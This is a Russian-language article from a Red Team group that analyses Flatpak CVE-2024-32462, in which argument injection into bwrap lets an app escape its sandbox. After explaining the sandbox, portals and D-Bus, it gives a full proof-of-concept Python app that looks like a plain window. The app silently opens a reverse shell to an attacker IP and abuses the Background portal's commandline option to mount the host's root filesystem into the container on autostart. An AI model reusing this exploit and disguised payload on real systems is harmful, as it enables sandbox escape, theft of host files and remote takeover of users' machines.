Flatpak CVE-2024-32462
Введение
18 апреля 2024 года в системе Flatpak была обнаружена уязвимость открывающая возможность вредоносному или скомпрометированному приложению, упакованному в формате Flatpak, обойти установленный режим изоляции sandbox и получить доступ к файлам в основной системе.
Найденная уязвимость получила идентификатор CVE-2024-32462 и балл CVSS равный 8,4 (высокий).
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
В данной статье мы не только посмотрим на эту уязвимость, но и подробно разберем основные механизмы безопасности Flatpak, выявив основные векторы атаки на хостовую систему из скомпрометированного контейнера с приложением.
Flatpak
Flatpak - это система управления пакетами в Linux, предназначенная для упрощения установки, обновления и запуска приложений. Она основана на контейнеризации, которая позволяет упаковывать приложения со всеми необходимыми зависимостями в изолированные контейнеры.
Каждый контейнер содержит не только само приложение, но и все зависимости, необходимые для его исполнения, что обеспечивает надежную и независимую среду для его работы. Это позволяет пользователям устанавливать и запускать приложения без необходимости беспокоиться о конфликтах зависимостей или изменениях в системе. Кроме того, Flatpak обеспечивает изоляцию приложений от остальной системы, что повышает безопасность и стабильность операционной системы Linux.
Прежде чем перейти к описанию уязвимости, важно разобрать несколько механизмов работы Flatpak.
Песочницы
Одна из основных целей Flatpak - повысить безопасность настольных систем за счет изоляции приложений друг от друга. Это достигается с помощью песочницы и означает, что по умолчанию приложения, запускаемые с Flatpak, имеют чрезвычайно ограниченный доступ к среде хоста. Это включает:
- Отсутствие доступа к каким-либо файлам хоста, кроме среды выполнения.
- Отсутствие доступа к сети.
- Отсутствие доступа к каким-либо узлам устройства (кроме
/dev/nullи т.п.) - Отсутствие доступа к процессам вне песочницы.
- Ограниченные системные вызовы. Например, приложения не могут использовать нестандартные типы сетевых сокетов или отслеживать другие процессы ptrace.
- Ограниченный доступ к экземпляру сеанса D-Bus.
- Нет доступа к хост-службам, таким как X11, системный D-Bus или PulseAudio.
Большинству приложений, чтобы быть полезными, потребуется доступ к некоторым из этих ресурсов. Чтобы его получить, разработчик либо явно указывает необходимость доступа к тому или иному ресурсу в конфигурации, либо использует специальные интерфейсы, которые называются порталами.
Важно отметить, что сам Flatpak не реализует песочницы, а использует инструмент bwrap.
Bubble Wrap
Bubble Wrap (bwrap) — это низкоуровневый и непривилегированный инструмент для создания песочниц.
Многие инструменты для запуска контейнеров, такие как systemd-nspawn, docker и т. д., ориентированы на предоставление инфраструктуры для системных администраторов и инструментов оркестровки (например, Kubernetes). Их не стоит предоставлять непривилегированным пользователям, поскольку такой доступ легко превратить в полностью привилегированный root shell на хосте.
В ядре Linux существует проект под названием user namespaces, который пытается позволить непривилегированным пользователям использовать возможности контейнеров. Хотя был достигнут значительный прогресс, все еще существуют опасения, и он недоступен для непривилегированных пользователей в некоторых продакшн дистрибутивах, таких как CentOS/Red Hat Enterprise Linux 7, Debian Jessie и т. д.
Посмотрите, например, CVE-2016-3135 - уязвимость позволяющая локальному пользователю повысить привилегии с помощью userns.
Bubblewrap можно рассматривать как реализацию setuid для подмножества пользовательских пространств имен. Акцент на подмножестве - если говорить конкретно о приведенном выше CVE, то bubblewrap не позволяет контролировать iptables.
Однако оригинальный код bubblewrap существовал до появления user namespaces - он наследует код от xdg-app helper, который, в свою очередь, отдаленно происходит от linux-user-chroot.
Разработчики этого инструмента считают, что он не позволяет повысить привилегии, даже если используется в сочетании с обычным программным обеспечением, установленным в дистрибутиве.
В частности, bubblewrap использует PR_SET_NO_NEW_PRIVS для отключения двоичных файлов setuid, что является традиционным способом избавления от таких вещей, как chroots.
Стоит сказать, что bubblewrap - это не то ПО, которое предоставляет готовую "песочницу" с определенной политикой безопасности. В некоторых вариантах использования bubblewrap требуется граница безопасности между изолированной средой и реальной системой; в других вариантах использования требуется возможность изменять расположение файловой системы для процессов внутри изолированной среды, но не ставится цель создания границы безопасности. В результате уровень защиты между изолированными процессами и хост-системой определяется аргументами, передаваемыми bubblewrap.
Как упоминалось выше, при упаковке приложения во Flatpak в файле конфига(манифеста) указываются различные разрешения, требуемые для работы. Например, если приложению нужен доступ к сети, в списке finish-args: будет присутствовать аргумент --share=network. Далее эти аргументы используются в конце сборки и там превращаются в аргументы для bubblewrap. В нашем примере, при запуске приложения, в bwrap будет передан аргумент --share-net.
Порталы
Порталы представляют собой основу для предоставления доступа к ресурсам за пределами песочницы, включая:
- Открытие файлов с помощью диалогового окна выбора файлов
- Открытие URI
- Печать
- Отображение уведомлений
- Создание скриншотов
- Запрет на завершение, приостановку, простаивание или переключение сеанса пользователя
- Получение информации о состоянии сети
Во многих случаях порталы используют системный компонент для неявного запроса разрешения у пользователя перед предоставлением доступа к определенному ресурсу.
Неявные запросы от порталов заключаются в том, что пользователь всегда будет участвовать в удовлетворении или отклонении запроса. Таким образом, большинство портальных API приводят к взаимодействию с пользователем в виде диалогов.
Например, портал выбора файлов открывает нативную программу-селектор файлов в хост-системе. Когда пользователь делает выбор, приложению предоставляется доступ только к выбранному файлу.
Такой подход позволяет приложениям не настраивать пустой доступ к большим объемам данных или сервисов и дает пользователям контроль над тем, к чему имеют доступ их приложения.
Изначально порталы возникли в рамках проекта Flatpak, но сейчас они являются общепринятым стандартом для десктопных Linux и поддерживаются GNOME, KDE и Snapcraft. Они используются даже вне песочниц, чтобы обеспечить стандартизированный API для таких распространенных функций рабочего стола, как скриншоты и запись экрана на wayland.
D-Bus
Порталы в Linux дистрибутивах реализуются за счет D-Bus.
D-Bus, также известная как Desktop Bus, облегчает взаимодействие между приложениями и системными процессами в Linux. Она является центральным узлом для обмена сообщениями и реагирования на системные события. Когда приложение хочет отправить сообщение другому приложению, оно отправляет его dbus-демону, который гарантирует, что сообщение дойдет до адресата.
Flatpak предоставляет контейнерам доступ к этой шине через себя, как прокси. В целях безопасности он фильтрует запросы по D-Bus, но org.freedesktop.portal почти всегда доступен, если приложение хоть как-то взаимодействует с системой.
Подводя итог, можно построить следующую схему:
Стрелками показаны каналы, по которым у приложения может быть доступ к системе хоста.
Также важно помнить, что все разрешения контролируются пользователем, и даже если в приложении они были заложены, пользователь может их отключать.
Описание уязвимости
Уязвимость является инъекцией аргументов в команду для запуска bwrap контейнера. Проблема заключается в неправильной обработке аргументов командной строки при запуске команд внутри bwrap контейнера из Flatpak.
Например, обычно аргумент --command программы flatpak run предполагает передачу команды для запуска в указанном приложении Flatpak, опционально с некоторыми аргументами. Например:
flatpak run --command=ls org.gnome.gedit
В версиях Flatpak, имеющих эту уязвимость, можно передать длинное имя опции в --command=, например --bind, и оно будет неверно интерпретировано как опция bwrap. Например, можно сделать так:
flatpak run --command=--bind org.gnome.gedit / /host ls -l /host
bwrap ...lots of stuff... --bind / /host ls -l /host
Аргумент --bind монтирует директорию из хостовой системы в контейнер, принимая в качестве значений путь на хосте и конечный путь в контейнере. В приведённом примере он монтирует коренной каталог хостовой системы в директорию /host в контейнере.
Далее указывается команда, которая будет выполнена: ls -l /host
В итоге получаем доступ на чтение и запись всей файловой системы хоста и выполнение команды её листинга при старте.
Но данный пример подразумевает запуск команды flatpak, а следовательно работу со стороны хостовой системы. А нам интересен именно вектор атаки со стороны скомпрометированного контейнера.
Оказывается, что такую же произвольную командную строку можно передать портальному интерфейсу org.freedesktop.portal.Background.RequestBackground из самого приложения Flatpak. Обычно это безопасно, поскольку можно указать только команду, существующую внутри песочницы. Но когда созданная командная строка преобразуется в значение аргумента --command, приложение может добиться того же эффекта, что и при передаче аргументов непосредственно bwrap, и, следовательно, выйти из песочницы.
Proof of concept
Подготовка стенда
Ниже предоставлен код рабочего приложения, которое будет установлено у пользователя. В нашем случае это пустое окно с текстом.
Код приложения (main.py):
#!/usr/bin/python3
import gi
gi.require_version("Gtk", "3.0")
from gi.repository import Gtk
import sys
from multiprocessing import Process
def shell():
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.2.221",9002))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")
class BackgroundApplication(Gtk.Application):
def __init__(self):
super().__init__(
application_id='com.example.BackgroundApplication'
)
def do_activate(self):
pass
def do_startup(self):
Gtk.Application.do_startup(self)
self.__main_window = MainWindow(self)
self.__main_window.show()
class MainWindow(Gtk.ApplicationWindow):
def __init__(self, application):
super().__init__(application=application, title="Test application")
self.__application = application
grid = Gtk.Grid(
margin_start=20, margin_end=20, margin_top=10, margin_bottom=10, row_spacing=6
)
grid.show()
self.add(grid)
label = Gtk.Label(label="GIScyberteam")
label.show()
grid.add(label)
if __name__ == '__main__':
p1 = Process(target=shell)
p1.start()
app = BackgroundApplication()
app.run(sys.argv)
p1.join()Для пользователя это просто оконное приложение, но в нем реализован бэкконект с обратным шелом на ip злоумышленника.
Конфигурация (com.example.BackgroundApplication.yaml):
app-id: com.example.BackgroundApplication
runtime: org.gnome.Platform
runtime-version: '45'
sdk: org.gnome.Sdk
command: main.py
finish-args:
- --share=ipc
- --socket=x11
- --socket=wayland
- --share=network
modules:
- name: background-application
buildsystem: simple
build-commands:
- install -m755 main.py -Dt /app/bin
- install com.example.BackgroundApplication.desktop -Dt /app/share/applications
sources:
- type: file
path: main.py
- type: file
path: com.example.BackgroundApplication.desktopОбратите внимание на разрешения, указанные в finish-args:. У данного приложения есть доступ к оконным системам X11 и Wayland, а также доступ в сеть. Самое важное, что у него нет доступа к файловой системе хоста.
flatpak-builder build com.example.BackgroundApplication.yaml --install --user --force-clean
Запуск приложения из командной строки:
flatpak run com.example.BackgroundApplication
На машине злоумышленника, если запустить netcat, который слушает нужный порт, в момент запуска приложения появится обратный shell.
Эксплуатация уязвимости
В качестве примера эксплуатации уязвимости получим доступ ко всей файловой системе хоста.
Инъекцию будем проводить в команду для автоматического запуска приложения при старте системы.
Добавить приложение в автоматический запуск при старте можно использовав метод RequestBackground портала org.freedesktop.portal.Background, который мы упоминали в описании уязвимости.
Мы внедрим данный функционал напрямую в код приложения, хотя достичь подобного результата можно разными способами. Например, в реальном кейсе, чтобы не зависеть от самого скомпрометированного приложения, можно воспользоваться инструментом gdbus call и отправить запрос прямо из обратного шела.
Итоговый код получается следующий:
#!/usr/bin/python3
import gi
gi.require_version("Gtk", "3.0")
from gi.repository import GLib
from gi.repository import Gio
from gi.repository import Gtk
from random import randint
import sys
from multiprocessing import Process
def shell():
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.2.221",9002))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")
class BackgroundApplication(Gtk.Application):
def __init__(self):
super().__init__(
application_id='com.example.BackgroundApplication'
)
self.__request_on_startup = False
def do_activate(self):
pass
def do_startup(self):
Gtk.Application.do_startup(self)
self.__main_window = MainWindow(self)
self.__main_window.show()
def request_background(self):
proxy = Gio.DBusProxy.new_for_bus_sync(
Gio.BusType.SESSION,
0,
None,
'org.freedesktop.portal.Desktop',
'/org/freedesktop/portal/desktop',
'org.freedesktop.portal.Background',
None
)
token = 0 + randint(10000000, 90000000)
options = {
'handle_token': GLib.Variant('s', f'com/example/BackgroundApplication/{token}'),
'reason': GLib.Variant('s', 'Autostart'),
'autostart': GLib.Variant('b', True),
'background': GLib.Variant('b', False),
'commandline': GLib.Variant('as', ["--bind", "/", "/host", "main.py"]),
'dbus-activatable': GLib.Variant('b', False),
}
proxy.RequestBackground('(sa{sv})', '', options)
class MainWindow(Gtk.ApplicationWindow):
def __init__(self, application):
super().__init__(application=application, title="Test application")
self.__application = application
grid = Gtk.Grid(
margin_start=20, margin_end=20, margin_top=10, margin_bottom=10, row_spacing=6
)
grid.show()
self.add(grid)
label = Gtk.Label(label="GIScyberteam")
label.show()
grid.add(label)
self.__application.request_background()
if __name__ == '__main__':
p1 = Process(target=shell)
p1.start()
app = BackgroundApplication()
app.run(sys.argv)
p1.join()Основные изменения — это добавление функции отправки запроса порталу и её вызов после отрисовки окна.
Запрос порталу def request_background(self) в основном состоит из указания имен портала и вызываемого метода, а также из опций, передаваемых методу.
Рассмотрим самые важные для нас опции:
autostart- принимает булево значение, указывает надо ли приложению запускаться при старте.background- принимает булево значение, указывает запускается ли приложение в фоне.commandline- принимает массив из строк, первое значение которого — команда для запуска(аналогично аргументу--commandуflatpak run), а последующие — аргументы приложения.
В нашем случае, для совершения инъекции, опция commandline заполняется следующим массивом:
["--bind", "/", "/host", "main.py"]
Чтобы в итоге эти строки передались как аргумент bwrap в виде:
bwrap ...lots of stuff... --bind / /host main.py
Как это выглядит со стороны хоста:
Интересный факт заключается в том, что несмотря на наличие в названии портального метода слова Request и вопреки цели, с которой разработчики используют порталы, в итоге у пользователя никто не спрашивает разрешения, приложение просто добавляется в автозапуск.Следующим этапом мы ждем перезапуска хостовой системы. После её перезапуска и повторного получения доступа в контейнер мы можем наблюдать, что в корневом каталоге контейнера присутствует новая директория /host в которую смонтирована файловая система хоста.
Вывод
В заключении хочется сказать, что быстрое развитие десктопных дистрибутивов Linux, включая принятие технологий изоляции большинства приложений в контейнерах, ставит перед сообществом ИБ новые вызовы в области безопасности. Обнаружение уязвимостей, таких как те, которые были выявлены в пакетном менеджере Flatpak, является важным шагом для обеспечения безопасности пользователей и защиты их данных.